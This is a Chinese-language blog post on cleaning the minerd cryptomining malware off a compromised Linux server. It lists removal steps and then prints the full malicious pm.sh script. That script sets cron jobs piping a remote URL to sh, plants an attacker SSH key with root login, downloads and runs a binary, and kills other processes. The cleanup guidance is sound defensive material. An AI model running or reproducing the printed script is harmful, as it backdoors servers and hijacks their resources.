Linux清除木马minerd

minerd是什么

minerd是挖矿程序，黑客入侵后，会利用宿主cpu进行复杂计算，强占cpu资源，使cpu使用率高达100%

今天突然发现cup使用率一直都很高，高达100%，查看后发现多了minerd这个进程，将其kill掉后，过一会还是存在



通过分析定时任务的脚本内容（ps：文章最后会给出脚本具体内容），得出以下删除minerd进程步骤：

1.删除定时任务的内容

crontab -e

将“/10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh”删除

2.删除minerd文件

[root@iZ28rvl9qn3Z ~]# ll /proc/2884/exe
lrwxrwxrwx 1 root root 0 Aug  2 14:56 /proc/2884/exe -> /opt/minerd (deleted)
[root@iZ28rvl9qn3Z ~]# ll /proc/2912/exe
lrwxrwxrwx 1 root root 0 Aug  2 14:57 /proc/2912/exe -> /opt/minerd
[root@iZ28rvl9qn3Z ~]# rm /opt/minerd
rm: remove regular file `/opt/minerd'? y

3.检查/var/spool/cron/root 和 /var/spool/cron/crontabs/root

删除自动执行命令

/10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh

4.删除ssh文件

~/.ssh/authorized_keys

~/.ssh/KHK75NEOiq

5.删除/etc/ssh/sshd_config以下内容（最后几行）

PermitRootLogin yes

RSAAuthentication yes

PubkeyAuthentication yes

AuthorizedKeysFile .ssh/KHK75NEOiq”

6.kill掉minerd进程

7.重启



/10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh

pm.sh的内容如下：

对这段代码很是好奇

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi

if [ ! -f "/etc/init.d/ntp" ]; then
if [ ! -f "/etc/systemd/system/ntp.service" ]; then
mkdir -p /opt
curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
fi
fi

/etc/init.d/ntp start

ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9